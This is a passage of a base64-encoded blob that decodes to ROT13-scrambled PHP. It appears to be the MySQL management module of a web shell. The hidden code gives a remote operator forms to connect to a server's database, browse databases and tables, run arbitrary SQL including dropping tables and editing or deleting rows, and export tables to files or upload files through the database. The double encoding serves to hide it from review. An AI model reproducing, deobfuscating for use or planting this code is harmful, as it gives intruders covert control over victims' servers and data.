XN2eXInKS5maG96dmcoKTsNCn08L2ZwZXZjZz4NCjw/Y3VjDQohJHFvdWJmZyAmJiAkcW91YmZnID0gJ3licG55dWJmZyc7ISRxb2hmcmUgJiYgJHFvaGZyZSA9ICdlYmJnJzshJHFvY2JlZyAmJiAkcW9jYmVnID0gJzMzMDYnO3NiZXp1cm5xKG5lZW5sKCdndmd5cic9PidaTEZEWSBWYXNiJywnYW56cic9Pidxb3Zhc2InKSk7em54cnV2cXIoJ25wZ3ZiYScsJ2ZkeXN2eXInKTtjKCc8Yz4nKTtjKCdRT1ViZmc6Jyk7em54cnZhY2hnKG5lZW5sKCdhbnpyJz0+J3FvdWJmZycsJ2Z2bXInPT4yMCwnaW55aHInPT4kcW91YmZnKSk7YygnOicpO3pueHJ2YWNoZyhuZWVubCgnYW56cic9Pidxb2NiZWcnLCdmdm1yJz0+NCwnaW55aHInPT4kcW9jYmVnKSk7YygnUU9IZnJlOicpO3pueHJ2YWNoZyhuZWVubCgnYW56cic9Pidxb2hmcmUnLCdmdm1yJz0+MTUsJ2lueWhyJz0+JHFvaGZyZSkpO2MoJ1FPQ25mZjonKTt6bnhydmFjaGcobmVlbmwoJ2FuenInPT4ncW9jbmZmJywnZnZtcic9PjE1LCdpbnlocic9PiRxb2NuZmYpKTtjKCdRT0FuenI6Jyk7em54cnZhY2hnKG5lZW5sKCdhbnpyJz0+J3FvYW56cicsJ2Z2bXInPT4xNSwnaW55aHInPT4kcW9hbnpyKSk7YygnUU9QdW5lZnJnOicpO3pueHJmcnlycGcobmVlbmwoJ2FuenInPT4ncHVuZWZyZycsJ2JjZ3ZiYSc9PiRwdW5lZnJncW8sJ2ZyeXJwZ3JxJz0+JHB1bmVmcmcsJ2FieHJsJz0+MSkpO2MoJzwvYz4nKTtzYmV6c2JiZygpO2MoJzxzYmV6IG5wZ3ZiYT0iJy4kZnJ5cy4nIiB6cmd1YnE9IkNCRkciIHJhcGdsY3I9InpoeWd2Y25lZy9zYmV6LXFuZ24iIGFuenI9InpsZmR5c3Z5ciIgdnE9InpsZmR5c3Z5ciI+Jyk7YygnPHUyPkZob3ZlIG5lcHV2aWI8L3UyPicpO2MoJzxjPjxvPkNuZW4gZXJueXZtbmUgcmZnYiByeSBoZmhuZXZiIFFPIHFyb3IgZ3JhcmUgY2V2aXZ5cnR2YmYgU1ZZUjwvbz48L2M+Jyk7YygnPGM+RWhnbiB0aG5lcW5xYjogPHZhY2hnIHB5bmZmPSJ2YWNoZyIgYW56cj0iZm5pcmNuZ3UiIGZ2bXI9IjQ1IiBnbGNyPSJncmtnIiAvPiBQdWJiZnIgbiBzdnlyOiA8dmFjaGcgcHluZmY9InZhY2hnIiBhbnpyPSJoY3libnFzdnlyIiBnbGNyPSJzdnlyIiAvPiA8biB1ZXJzPSJ3bmluZnBldmNnOnpsZmR5c3Z5cihcJ3psZmR5aGN5Ym5xXCcpOyI+SGN5Ym5xPC9uPjwvYz4nKTtjKCc8dTI+UXJmcG5ldG5lIG5lcHV2aWI8L3UyPicpO2MoJzxjPk5lcHV2aWI6IDx2YWNoZyBweW5mZj0idmFjaGciIGFuenI9InpsZmR5cXlzdnlyIiBmdm1yPSIxMTUiIGdsY3I9Imdya2ciIC8+IDxuIHVlcnM9InduaW5mcGV2Y2c6emxmZHlzdnlyKFwnemxmZHlxYmphXCcpOyI+UXJmcG5ldG5lPC9uPjwvYz4nKTt6bnhydXZxcigncW91YmZnJyk7em54cnV2cXIoJ3FvY2JlZycpO3pueHJ1dnFyKCdxb2hmcmUnKTt6bnhydXZxcigncW9jbmZmJyk7em54cnV2cXIoJ3FvYW56cicpO3pueHJ1dnFyKCdwdW5lZnJnJyk7em54cnV2cXIoJ3FidmF0Jyk7em54cnV2cXIoJ25wZ3ZiYScsJ2ZkeXN2eXInKTtjKCc8L3NiZXo+Jyk7DQp9cnlmcnZzICgkbnBndmJhID09ICd6bGZkeW5xenZhJykgeyEkcW91YmZnICYmICRxb3ViZmcgPSAneWJwbnl1YmZnJzshJHFvaGZyZSAmJiAkcW9oZnJlID0gJ2ViYmcnOyEkcW9jYmVnICYmICRxb2NiZWcgPSAnMzMwNic7JHFvc2JleiA9ICc8dmFjaGcgZ2xjcj0idXZxcXJhIiB2cT0icGJhYXJwZyIgYW56cj0icGJhYXJwZyIgaW55aHI9IjEiIC8+Jzt2cyh2ZmZyZygkcW91YmZnKSl7JHFvc2JleiAuPSAiPHZhY2hnIGdsY3I9XCJ1dnFxcmFcIiB2cT1cInFvdWJmZ1wiIGFuenI9XCJxb3ViZmdcIiBpbnlocj1cIiRxb3ViZmdcIiAvPlxhIjt9dnModmZmcmcoJHFvaGZyZSkpIHskcW9zYmV6IC49ICI8dmFjaGcgZ2xjcj1cInV2cXFyYVwiIHZxPVwicW9oZnJlXCIgYW56cj1cInFvaGZyZVwiIGlueWhyPVwiJHFvaGZyZVwiIC8+XGEiO312cyh2ZmZyZygkcW9jbmZmKSkgeyRxb3NiZXogLj0gIjx2YWNoZyBnbGNyPVwidXZxcXJhXCIgdnE9XCJxb2NuZmZcIiBhbnpyPVwicW9jbmZmXCIgaW55aHI9XCIkcW9jbmZmXCIgLz5cYSI7fXZzKHZmZnJnKCRxb2NiZWcpKSB7JHFvc2JleiAuPSAiPHZhY2hnIGdsY3I9XCJ1dnFxcmFcIiB2cT1cInFvY2JlZ1wiIGFuenI9XCJxb2NiZWdcIiBpbnlocj1cIiRxb2NiZWdcIiAvPlxhIjt9dnModmZmcmcoJHFvYW56cikpIHskcW9zYmV6IC49ICI8dmFjaGcgZ2xjcj1cInV2cXFyYVwiIHZxPVwicW9hbnpyXCIgYW56cj1cInFvYW56clwiIGlueWhyPVwiJHFvYW56clwiIC8+XGEiO312cyh2ZmZyZygkcHVuZWZyZykpIHskcW9zYmV6IC49ICI8dmFjaGcgZ2xjcj1cInV2cXFyYVwiIHZxPVwicHVuZWZyZ1wiIGFuenI9XCJwdW5lZnJnXCIgaW55aHI9XCIkcHVuZWZyZ1wiIC8+XGEiO312cyAoJHFidmF0ID09ICdvbnB4aGN6bGZkeScgJiYgJGZuaXJuZnN2eXIpIHt2cyAoISRnbm95cikge3ooJ0N5cm5mciBwdWJiZnIgZ3VyIGdub3lyJyk7fSByeWZyIHt6bHFvcGJhYSgkcW91YmZnLCRxb2hmcmUsJHFvY25mZiwkcW9hbnpyLCRwdW5lZnJnLCRxb2NiZWcpOyRnbm95ciA9IG5lZW5sX3N5dmMoJGdub3lyKTskc2MgPSBAc2JjcmEoJGNuZ3UsJ2onKTt2cyAoJHNjKSB7JGVyZmh5ZyA9IGQoJ0ZVQkogZ25veXJmJyk7dnMgKCEkZXJmaHlnKSBjKCc8dTI+Jy56bGZkeV9yZWViZSgpLic8L3UyPicpOyR6bGZkeXFuZ24gPSAnJztqdXZ5ciAoJHBoZWViaiA9IHpsZmR5X3NyZ3B1X25lZW5sKCRlcmZoeWcpKSB7dnMgKHZmZnJnKCRnbm95clskcGhlZWJqWzBdXSkpIHtmZHlxaHpjZ25veXIoJHBoZWVialswXSwgJHNjKTt9fXNweWJmcigkc2MpOyRzdnlyaGV5ID0gZmdlX2VyY3lucHIoRk5fRUJCRywnJywkY25ndSk7eignT25weGhjIHBlcm5xYiByYSA8biB1ZXJzPSInLiRzdnlyaGV5LiciIGduZXRyZz0iX295bmF4Ij4nLiRjbmd1Lic8L24+Jyk7emxmZHlfcHliZnIoKTt9IHJ5ZnIge3ooJ09ucHhoYyBzbnl5dnFiJyk7fX19dnMgKCR2YWZyZWcgJiYgJHZhZnJlZ2ZkeSkgeyR4cmxmZ2UgPSAkaW55ZmdlID0gJGd6YyA9ICcnO3NiZXJucHUoJHZhZnJlZ2ZkeSBuZiAkeHJsID0+ICRpbnkpIHt2cyAoJGlueSkgeyR4cmxmZ2UgLj0gJGd6Yy4keHJsOyRpbnlmZ2UgLj0gJGd6Yy4iJyIubnFxZnluZnVyZigkaW55KS4iJyI7JGd6YyA9ICcsJzt9fXZzICgkeHJsZmdlICYmICRpbnlmZ2UpIHt6bHFvcGJhYSgkcW91YmZnLCRxb2hmcmUsJHFvY25mZiwkcW9hbnpyLCRwdW5lZnJnLCRxb2NiZWcpO3ooZCgiVkFGUkVHIFZBR0IgJGdub3lyYW56ciAoJHhybGZnZSkgSU5ZSFJGICgkaW55ZmdlKSIpID8gJ1ZhdGVyZnIgYWhyaWIgZXJ0dmZnZWInIDogemxmZHlfcmVlYmUoKSk7CX19dnMgKCRoY3FuZ3IgJiYgJHZhZnJlZ2ZkeSAmJiAkb25mcjY0KSB7JGlueWZnZSA9ICRnemMgPSAnJztzYmVybnB1KCR2YWZyZWdmZHkgbmYgJHhybCA9PiAkaW55KSB7JGlueWZnZSAuPSAkZ3pjLiR4cmwuIj0nIi5ucXFmeW5mdXJmKCRpbnkpLiInIjskZ3pjID0gJywnO312cyAoJGlueWZnZSkgeyRqdXJlciA9IG9uZnI2NF9xcnBicXIoJG9uZnI2NCk7emxxb3BiYWEoJHFvdWJmZywkcW9oZnJlLCRxb2NuZmYsJHFvYW56ciwkcHVuZWZyZywkcW9jYmVnKTt6KGQoIkhDUU5HUiAkZ25veXJhbnpyIEZSRyAkaW55ZmdlIEpVUkVSICRqdXJlciBZVlpWRyAxIikgPyAnTnBnaG55dm1uYXFiIGVydHZmZ2ViJyA6IHpsZmR5X3JlZWJlKCkpO319dnMgKCRxYnZhdCA9PSAncXJ5JyAmJiAkb25mcjY0KSB7JGp1cmVyID0gb25mcjY0X3FycGJxcigkb25mcjY0KTskcXJ5cmdyX2ZkeSA9ICJRUllSR1IgU0VCWiAkZ25veXJhbnpyIEpVUkVSICRqdXJlciI7emxxb3BiYWEoJHFvdWJmZywkcW9oZnJlLCRxb2NuZmYsJHFvYW56ciwkcHVuZWZyZywkcW9jYmVnKTt6KGQoIlFSWVJHUiBTRUJaICRnbm95cmFuenIgSlVSRVIgJGp1cmVyIikgPyAnT2JlZW5hcWIgZXJ0dmZnZWInIDogemxmZHlfcmVlYmUoKSk7fXZzICgkZ25veXJhbnpyICYmICRxYnZhdCA9PSAncWViYycpIHt6bHFvcGJhYSgkcW91YmZnLCRxb2hmcmUsJHFvY25mZiwkcW9hbnpyLCRwdW5lZnJnLCRxb2NiZWcpO3ZzIChkKCJRRUJDIEdOT1lSICRnbm95cmFuenIiKSkge3ooJ1FlYmMgZ25veXIgcmt2Z2JmYicpOyRnbm95cmFuenIgPSAnJzt9IHJ5ZnIge3ooemxmZHlfcmVlYmUoKSk7fX1zYmV6dXJucShuZWVubCgnZ3ZneXInPT4nWkxGRFknKSk7em54cnV2cXIoJ25wZ3ZiYScsJ3psZmR5bnF6dmEnKTtjKCc8Yz4nKTtjKCdRT1ViZmc6Jyk7em54cnZhY2hnKG5lZW5sKCdhbnpyJz0+J3FvdWJmZycsJ2Z2bXInPT4yMCwnaW55aHInPT4kcW91YmZnKSk7YygnOicpO3pueHJ2YWNoZyhuZWVubCgnYW56cic9Pidxb2NiZWcnLCdmdm1yJz0+NCwnaW55aHInPT4kcW9jYmVnKSk7YygnUU9IZnJlOicpO3pueHJ2YWNoZyhuZWVubCgnYW56cic9Pidxb2hmcmUnLCdmdm1yJz0+MTUsJ2lueWhyJz0+JHFvaGZyZSkpO2MoJ1FPQ25mZjonKTt6bnhydmFjaGcobmVlbmwoJ2FuenInPT4ncW9jbmZmJywnZnZtcic9PjE1LCdpbnlocic9PiRxb2NuZmYpKTtjKCdRT1B1bmVmcmc6Jyk7em54cmZyeXJwZyhuZWVubCgnYW56cic9PidwdW5lZnJnJywnYmNndmJhJz0+JHB1bmVmcmdxbywnZnJ5cnBncnEnPT4kcHVuZWZyZywnYWJ4cmwnPT4xKSk7em54cnZhY2hnKG5lZW5sKCdhbnpyJz0+J3BiYWFycGcnLCdpbnlocic9PidQYmFycGduZScsJ2dsY3InPT4nZmhvenZnJywncHluZmYnPT4nb2cnKSk7YygnPC9jPicpO3NiZXpzYmJnKCk7DQo/Pg0KPGZwZXZjZyBnbGNyPSJncmtnL3duaW5mcGV2Y2ciPg0Kc2hhcGd2YmEgcnF2Z2VycGJlcShucGd2YmEsIG9uZnI2NCwgZ25veXJhbnpyKXt2cyAobnBndmJhID09ICdxcnknKSB7dnMgKCFwYmFzdmV6KCdWZiBiZSB2ZmFcJ2cgcXJ5cmd2YmEgZXJwYmVxPycpKSBlcmdoZWE7fSQoJ2VycGJlcXl2ZmcnKS5xYnZhdC5pbnlocj1ucGd2YmE7JCgnZXJwYmVxeXZmZycpLm9uZnI2NC5pbnlocj1vbmZyNjQ7JCgnZXJwYmVxeXZmZycpLmdub3lyYW56ci5pbnlocj1nbm95cmFuenI7JCgnZXJwYmVxeXZmZycpLmZob3p2ZygpOw0KfXNoYXBndmJhIHpicXFvYW56cihxb2FuenIpIHt2cyghcW9hbnpyKSBlcmdoZWE7JCgnZnJncW9hbnpyJykucW9hbnpyLmlueWhyPXFvYW56cjskKCdmcmdxb2FuenInKS5maG96dmcoKTsNCn1zaGFwZ3ZiYSBmcmdnbm95cihnbm95cmFuenIscWJ2YXQsY250cikge3ZzKCFnbm95cmFuenIpIGVyZ2hlYTt2cyAocWJ2YXQpIHskKCdmcmdnbm95cicpLnFidmF0LmlueWhyPXFidmF0O312cyAoY250cikgeyQoJ2ZyZ2dub3lyJykuY250ci5pbnlocj1jbnRyO30kKCdmcmdnbm95cicpLmdub3lyYW56ci5pbnlocj1nbm95cmFuenI7JCgnZnJnZ25veXInKS5maG96dmcoKTsNCn08L2ZwZXZjZz4NCjw/Y3VjDQpzYmV6dXJucShuZWVubCgnYW56cic9PidlcnBiZXF5dmZnJykpO3pueHJ1dnFyKCdxYnZhdCcpO3pueHJ1dnFyKCducGd2YmEnLCd6bGZkeW5xenZhJyk7em54cnV2cXIoJ29uZnI2NCcpO3pueHJ1dnFyKCdnbm95cmFuenInKTtjKCRxb3NiZXopO3NiZXpzYmJnKCk7c2JlenVybnEobmVlbmwoJ2FuenInPT4nZnJncW9hbnpyJykpO3pueHJ1dnFyKCducGd2YmEnLCd6bGZkeW5xenZhJyk7YygkcW9zYmV6KTt2cyAoISRxb2FuenIpIHt6bnhydXZxcigncW9hbnpyJyk7fXNiZXpzYmJnKCk7c2JlenVybnEobmVlbmwoJ2FuenInPT4nZnJnZ25veXInKSk7em54cnV2cXIoJ25wZ3ZiYScsJ3psZmR5bnF6dmEnKTtjKCRxb3NiZXopO3pueHJ1dnFyKCdnbm95cmFuenInKTt6bnhydXZxcignY250cicsJGNudHIpO3pueHJ1dnFyKCdxYnZhdCcpO3NiZXpzYmJnKCk7JHBucHVyZ25veXJmID0gbmVlbmwoKTsJDQokY250cmFoeiA9IDMwOyRjbnRyID0gdmFnaW55KCRjbnRyKTt2cygkY250cikgeyRmZ25lZ195dnp2ZyA9ICgkY250ciAtIDEpICogJGNudHJhaHo7fSByeWZyIHskZmduZWdfeXZ6dmcgPSAwOyRjbnRyID0gMTt9dnMgKHZmZnJnKCRxb3ViZmcpICYmIHZmZnJnKCRxb2hmcmUpICYmIHZmZnJnKCRxb2NuZmYpICYmIHZmZnJnKCRwYmFhcnBnKSkge3pscW9wYmFhKCRxb3ViZmcsICRxb2hmcmUsICRxb2NuZmYsICRxb2FuenIsICRwdW5lZnJnLCAkcW9jYmVnKTskemxmZHlpcmUgPSB6bGZkeV90cmdfZnJlaXJlX3Zhc2IoKTtjKCc8Yz5abEZEWSAnLiR6bGZkeWlyZS4nIHJ3cnBoZ25hcWJmciByYSAnLiRxb3ViZmcuJyBwYnpiICcuJHFvaGZyZS4nQCcuJHFvdWJmZy4nPC9jPicpOyR1dnR1aXJlID0gJHpsZmR5aXJlID4gJzQuMScgPyAxIDogMDskZGhyZWwgPSBkKCJGVUJKIFFOR05PTkZSRiIpOyRxb2YgPSBuZWVubCgpOyRxb2ZbXSA9ICctLSBGcnlycHB2YmFyIGhhbiBxbmdub25mciAtLSc7anV2eXIoJHFvID0gemxmZHlfc3JncHVfbmVlbmwoJGRocmVsKSkgeyRxb2ZbJHFvWydRbmdub25mciddXSA9ICRxb1snUW5nbm9uZnInXTt9em54cmZyeXJwZyhuZWVubCgnZ3ZneXInPT4nRnJ5cnBwdmJhciBoYW4gcW5nbm9uZnI6JywnYW56cic9Pidxb1tdJywnYmNndmJhJz0+JHFvZiwnZnJ5cnBncnEnPT4kcW9hbnpyLCdiYXB1bmF0cic9Pid6YnFxb2FuenIoZ3V2Zi5iY2d2YmFmW2d1dmYuZnJ5cnBncnFWYXFya10uaW55aHIpJywnYXJqeXZhcic9PjEpKTskZ25veXJxbyA9IG5lZW5sKCk7dnMgKCRxb2FuenIpIHtjKCc8Yz4nKTtjKCdRbmdub25mcjogPG4gdWVycz0id25pbmZwZXZjZzp6YnFxb2FuenIoXCcnLiRxb2FuenIuJ1wnKTsiPicuJHFvYW56ci4nPC9uPicpO3ZzICgkZ25veXJhbnpyKSB7YygnIHwgR25veW4gbnBnaG55OiA8biB1ZXJzPSJ3bmluZnBldmNnOmZyZ2dub3lyKFwnJy4kZ25veXJhbnpyLidcJyk7Ij4nLiRnbm95cmFuenIuJzwvbj4gWyA8biB1ZXJzPSJ3bmluZnBldmNnOmZyZ2dub3lyKFwnJy4kZ25veXJhbnpyLidcJywgXCd2YWZyZWdcJyk7Ij5WYWZyZWc8L24+IHwgPG4gdWVycz0id25pbmZwZXZjZzpmcmdnbm95cihcJycuJGdub3lyYW56ci4nXCcsIFwnZmdlaHBnaGVyXCcpOyI+RmdlaHBnaGVyPC9uPiB8IDxuIHVlcnM9InduaW5mcGV2Y2c6ZnJnZ25veXIoXCcnLiRnbm95cmFuenIuJ1wnLCBcJ3FlYmNcJyk7Ij5RZWJjPC9uPiBdJyk7fWMoJzwvYz4nKTt6bGZkeV9mcnlycGdfcW8oJHFvYW56cik7JHRyZ2FoemZkeSA9ICcnOyRlaGFkaHJlbCA9IDA7dnMgKCRmZHlfZGhyZWwpIHskZWhhZGhyZWwgPSAxO30kbnl5YmpycXZnID0gMDt2cyAoJGdub3lyYW56ciAmJiAhJGZkeV9kaHJlbCkgeyRmZHlfZGhyZWwgPSAiRlJZUlBHICogU0VCWiAkZ25veXJhbnpyIjskdHJnYWh6ZmR5ID0gJGZkeV9kaHJlbDskZmR5X2RocmVsID0gJGZkeV9kaHJlbC4iIFlWWlZHICRmZ25lZ195dnp2ZywgJGNudHJhaHoiOyRueXlianJxdmcgPSAxO31jKCc8c2JleiBucGd2YmE9IicuJGZyeXMuJyIgenJndWJxPSJDQkZHIj4nKTtjKCc8Yz48Z25veXIganZxZ3U9IjIwMCIgb2JlcXJlPSIwIiBwcnl5Y25xcXZhdD0iMCIgcHJ5eWZjbnB2YXQ9IjAiPjxnZT48Z3EgcGJ5ZmNuYT0iMiI+UndycGhnbmUgRGhyZWwgRkRZJy4kcW9hbnpyLic6PC9ncT48L2dlPjxnZT48Z3E+PGdya2duZXJuIGFuenI9ImZkeV9kaHJlbCIgcHluZmY9Im5lcm4iIGZnbHlyPSJqdnFndTo2MDBjazt1cnZ0dWc6NTBjaztiaXJlc3liajpuaGdiOyI+Jy51Z3p5ZmNycHZueXB1bmVmKCRmZHlfZGhyZWwsUkFHX0RIQkdSRikuJzwvZ3JrZ25lcm4+PC9ncT48Z3EgZmdseXI9ImNucXF2YXQ6MCA1Y2s7Ij48dmFjaGcgcHluZmY9Im9nIiBmZ2x5cj0idXJ2dHVnOjUwY2s7IiBhbnpyPSJmaG96dmciIGdsY3I9ImZob3p2ZyIgaW55aHI9IlJ3cnBoZ25lIiAvPjwvZ3E+PC9nZT48L2dub3lyPjwvYz4nKTt6bnhydXZxcignZ25veXJhbnpyJywgJGdub3lyYW56cik7em54cnV2cXIoJ25wZ3ZiYScsJ3psZmR5bnF6dmEnKTtjKCRxb3NiZXopO2MoJzwvc2Jlej4nKTt2cyAoJGdub3lyYW56ciB8fCAoJGVoYWRocmVsICYmICRmZHlfZGhyZWwpKSB7dnMgKCRxYnZhdCA9PSAnZmdlaHBnaGVyJykgeyRlcmZoeWcgPSBkKCJGVUJKIFBCWUhaQUYgU0VCWiAkZ25veXJhbnpyIik7JGVianFvID0gbmVlbmwoKTtqdXZ5cigkZWJqID0gemxmZHlfc3JncHVfbmVlbmwoJGVyZmh5ZykpIHskZWJqcW9bXSA9ICRlYmo7fWMoJzxnbm95ciBvYmVxcmU9IjAiIHByeXljbnFxdmF0PSIzIiBwcnl5ZmNucHZhdD0iMCI+Jyk7YygnPGdlIHB5bmZmPSJ1cm5xIj4nKTtjKCc8Z3E+U3ZyeXE8L2dxPicpO2MoJzxncT5HbGNyPC9ncT4nKTtjKCc8Z3E+QWh5eTwvZ3E+Jyk7YygnPGdxPlhybDwvZ3E+Jyk7YygnPGdxPlFyc25oeWc8L2dxPicpO2MoJzxncT5Sa2dlbjwvZ3E+Jyk7YygnPC9nZT4nKTtzYmVybnB1ICgkZWJqcW8gbmYgJGViaikgeyRndXZmb3QgPSBvdCgpO2MoJzxnZSBweW5mZj0iJy4kZ3V2Zm90LiciIGJhemJoZnJiaXJlPSJndXZmLnB5bmZmQW56cj1cJ3NicGhmXCc7IiBiYXpiaGZyYmhnPSJndXZmLnB5bmZmQW56cj1cJycuJGd1dmZvdC4nXCc7Ij4nKTtjKCc8Z3E+Jy4kZWJqWydTdnJ5cSddLic8L2dxPicpO2MoJzxncT4nLiRlYmpbJ0dsY3InXS4nPC9ncT4nKTtjKCc8Z3E+Jy4kZWJqWydBaHl5J10uJyZhb2ZjOzwvZ3E+Jyk7YygnPGdxPicuJGVialsnWHJsJ10uJyZhb2ZjOzwvZ3E+Jyk7YygnPGdxPicuJGVialsnUXJzbmh5ZyddLicmYW9mYzs8L2dxPicpO2MoJzxncT4nLiRlYmpbJ1JrZ2VuJ10uJyZhb2ZjOzwvZ3E+Jyk7YygnPC9nZT4nKTt9Z29zYmJnKCk7fSByeWZydnMgKCRxYnZhdCA9PSAndmFmcmVnJyB8fCAkcWJ2YXQgPT0gJ3JxdmcnKSB7JGVyZmh5ZyA9IGQoJ0ZVQkogUEJZSFpBRiBTRUJaICcuJGdub3lyYW56cik7anV2eXIgKCRlYmogPSB6bGZkeV9zcmdwdV9uZWVubCgkZXJmaHlnKSkgeyRlYmpxb1tdID0gJGViajt9JGVmID0gbmVlbmwoKTt2cyAoJHFidmF0ID09ICd2YWZyZWcnKSB7YygnPHUyPlZhZnJlZyBhcmogeXZhciB2YSAnLiRnbm95cmFuenIuJyBnbm95ciAmZW5kaGI7PC91Mj4nKTt9IHJ5ZnIge2MoJzx1Mj5IY3FuZ3IgZXJwYmVxIHZhICcuJGdub3lyYW56ci4nIGdub3lyICZlbmRoYjs8L3UyPicpOyRqdXJlciA9IG9uZnI2NF9xcnBicXIoJG9uZnI2NCk7JGVyZmh5ZyA9IGQoIkZSWVJQRyAqIFNFQlogJGdub3lyYW56ciBKVVJFUiAkanVyZXIgWVZaVkcgMSIpOyRlZiA9IHpsZmR5X3NyZ3B1X25lZW5sKCRlcmZoeWcpO31jKCc8c2JleiB6cmd1YnE9ImNiZmciIG5wZ3ZiYT0iJy4kZnJ5cy4nIj4nKTtjKCRxb3NiZXopO3pueHJ1dnFyKCducGd2YmEnLCd6bGZkeW5xenZhJyk7em54cnV2cXIoJ2dub3lyYW56cicsJGdub3lyYW56cik7YygnPGdub3lyIG9iZXFyZT0iMCIgcHJ5eWNucXF2YXQ9IjMiIHByeXlmY25wdmF0PSIwIj4nKTtzYmVybnB1ICgkZWJqcW8gbmYgJGViaikge3ZzICgkZWZbJGVialsnU3ZyeXEnXV0pIHskaW55aHIgPSB1Z3p5ZmNycHZueXB1bmVmKCRlZlskZWJqWydTdnJ5cSddXSk7fSByeWZyIHskaW55aHIgPSAnJzt9JGd1dmZvdCA9IG90KCk7YygnPGdlIHB5bmZmPSInLiRndXZmb3QuJyIgYmF6YmhmcmJpcmU9Imd1dmYucHluZmZBbnpyPVwnc2JwaGZcJzsiIGJhemJoZnJiaGc9Imd1dmYucHluZmZBbnpyPVwnJy4kZ3V2Zm90LidcJzsiPicpO3ZzICgkZWJqWydYcmwnXSA9PSAnSEFWJyB8fCAkZWJqWydSa2dlbiddID09ICduaGdiX3ZhcGVyenJhZycgfHwgJGVialsnWHJsJ10gPT0gJ0NFVicpIHtjKCc8Z3E+PG8+Jy4kZWJqWydTdnJ5cSddLic8L28+PG9lIC8+Jy4kZWJqWydHbGNyJ10uJzwvZ3E+PGdxPicuJGlueWhyLicmYW9mYzs8L2dxPjwvZ2U+Jyk7fSByeWZyIHtjKCc8Z3E+PG8+Jy4kZWJqWydTdnJ5cSddLic8L28+PG9lIC8+Jy4kZWJqWydHbGNyJ10uJzwvZ3E+PGdxPjxncmtnbmVybiBweW5mZj0ibmVybiIgYW56cj0idmFmcmVnZmR5WycuJGVialsnU3ZyeXEnXS4nXSIgZmdseXI9Imp2cWd1OjUwMGNrO3VydnR1Zzo2MGNrO2JpcmVzeWJqOm5oZ2I7Ij4nLiRpbnloci4nPC9ncmtnbmVybj48L2dxPjwvZ2U+Jyk7fX12cyAoJHFidmF0ID09ICd2YWZyZWcnKSB7YygnPGdlIHB5bmZmPSInLm90KCkuJyI+PGdxIHBieWZjbmE9IjIiPjx2YWNoZyBweW5mZj0ib2ciIGdsY3I9ImZob3p2ZyIgYW56cj0idmFmcmVnIiBpbnlocj0iVmFmcmVnbmUiIC8+PC9ncT48L2dlPicpO30gcnlmciB7YygnPGdlIHB5bmZmPSInLm90KCkuJyI+PGdxIHBieWZjbmE9IjIiPjx2YWNoZyBweW5mZj0ib2ciIGdsY3I9ImZob3p2ZyIgYW56cj0iaGNxbmdyIiBpbnlocj0iTnBnaG55dm1uZSIgLz48L2dxPjwvZ2U+Jyk7em54cnV2cXIoJ29uZnI2NCcsICRvbmZyNjQpO31jKCc8L2dub3lyPjwvc2Jlej4nKTt9IHJ5ZnIgeyRkaHJlbGYgPSBAcmtjeWJxcignOycsJGZkeV9kaHJlbCk7c2Jlcm5wdSgkZGhyZWxmIG5mICRhaHo9PiRkaHJlbCkge3ZzICgkZGhyZWwpIHtjKCI8Yz48bz5EaHJlbCN7JGFoen0gOiAiLnVnenlmY3Jwdm55cHVuZWYoJGRocmVsLFJBR19ESEJHUkYpLiI8L28+PC9jPiIpO2ZqdmdwdShkbCgkZGhyZWwpKXtwbmZyIDA6DQpjKCc8dTI+UmVlYmUgOiAnLnpsZmR5X3JlZWJlKCkuJzwvdTI+Jyk7b2Vybng7CQ0KcG5mciAxOg0KdnMgKGZnZWdieWJqcmUoZmhvZmdlKCRkaHJlbCwwLDEzKSkgPT0gJ2ZyeXJwZyAqIHNlYnonKSB7JG55eWJqcnF2ZyA9IDE7fXZzICgkdHJnYWh6ZmR5KSB7JGduZ2J5ID0gemxmZHlfYWh6X2ViamYoZCgkdHJnYWh6ZmR5KSk7JHpoeWd2Y250ciA9IHpoeWd2KCRnbmdieSwgJGNudHJhaHosICRjbnRyLCAkZ25veXJhbnpyKTt9dnMgKCEkZ25veXJhbnpyKSB7JGZkeV95dmFyID0gZmdlX2VyY3lucHIobmVlbmwoIlxlIiwgIlxhIiwgIlxnIiksIG5lZW5sKCcgJywgJyAnLCAnICcpLCBnZXZ6KHVnenlmY3Jwdm55cHVuZWYoJGRocmVsKSkpOyRmZHlfeXZhciA9IGNlcnRfZXJjeW5wcigiL1wvXCpbXihcKlwvKV0qXCpcLy92IiwgIiAiLCAkZmR5X3l2YXIpO2NlcnRfem5ncHVfbnl5KCIvc2VielxmK2B7MCwxfShbXGpdKylgezAsMX1cZisvdiIsJGZkeV95dmFyLCR6bmdwdXJmKTskZ25veXJhbnpyID0gJHpuZ3B1cmZbMV1bMF07fQ0KJHRyZ3N2cnlxID0gZCgiRlVCSiBQQllIWkFGIFNFQlogJGdub3lyYW56ciIpOyRlYmpxbyA9IG5lZW5sKCk7JHhybHN2cnEgPSAnJztqdXZ5cigkZWJqID0gQHpsZmR5X3NyZ3B1X25mZmJwKCR0cmdzdnJ5cSkpIHskZWJqcW9bJGVialsnU3ZyeXEnXV1bJ1hybCddID0gJGVialsnWHJsJ107JGVianFvWyRlYmpbJ1N2cnlxJ11dWydSa2dlbiddID0gJGVialsnUmtnZW4nXTt2cyAoJGVialsnWHJsJ10gPT0gJ0hBVicgfHwgJGVialsnWHJsJ10gPT0gJ0NFVicpIHskeHJsc3ZycSA9ICRlYmpbJ1N2cnlxJ107fX12cyAoZmdlZ2J5YmpyZShmaG9mZ2UoJGRocmVsLDAsMTMpKSA9PSAnZnJ5cnBnICogc2VieicpIHskZGhyZWwgPSBmZ2VfZXJjeW5wcigiIFlWWlZHICIsICIgYmVxcmUgb2wgJHhybHN2cnEgUVJGUCBZVlpWRyAiLCAkZGhyZWwpO30kZXJmaHlnID0gZCgkZGhyZWwpO2MoJHpoeWd2Y250cik7YygnPGdub3lyIG9iZXFyZT0iMCIgcHJ5eWNucXF2YXQ9IjMiIHByeXlmY25wdmF0PSIwIj4nKTtjKCc8Z2UgcHluZmY9InVybnEiPicpO3ZzICgkbnl5YmpycXZnKSBjKCc8Z3E+TnBndmJhPC9ncT4nKTskc3ZyeXFhaHogPSBAemxmZHlfYWh6X3N2cnlxZigkZXJmaHlnKTtzYmUoJHY9MDskdjwkc3ZyeXFhaHo7JHYrKyl7JGFuenIgPSBAemxmZHlfc3ZyeXFfYW56cigkZXJmaHlnLCAkdik7JGdsY3IgPSBAemxmZHlfc3ZyeXFfZ2xjcigkZXJmaHlnLCAkdik7JHlyYSA9IEB6bGZkeV9zdnJ5cV95cmEoJGVyZmh5ZywgJHYpO2MoIjxncSBhYmplbmM+JGFuenI8b2U+PGZjbmE+JGdsY3IoJHlyYSkiLigoJGVianFvWyRhbnpyXVsnWHJ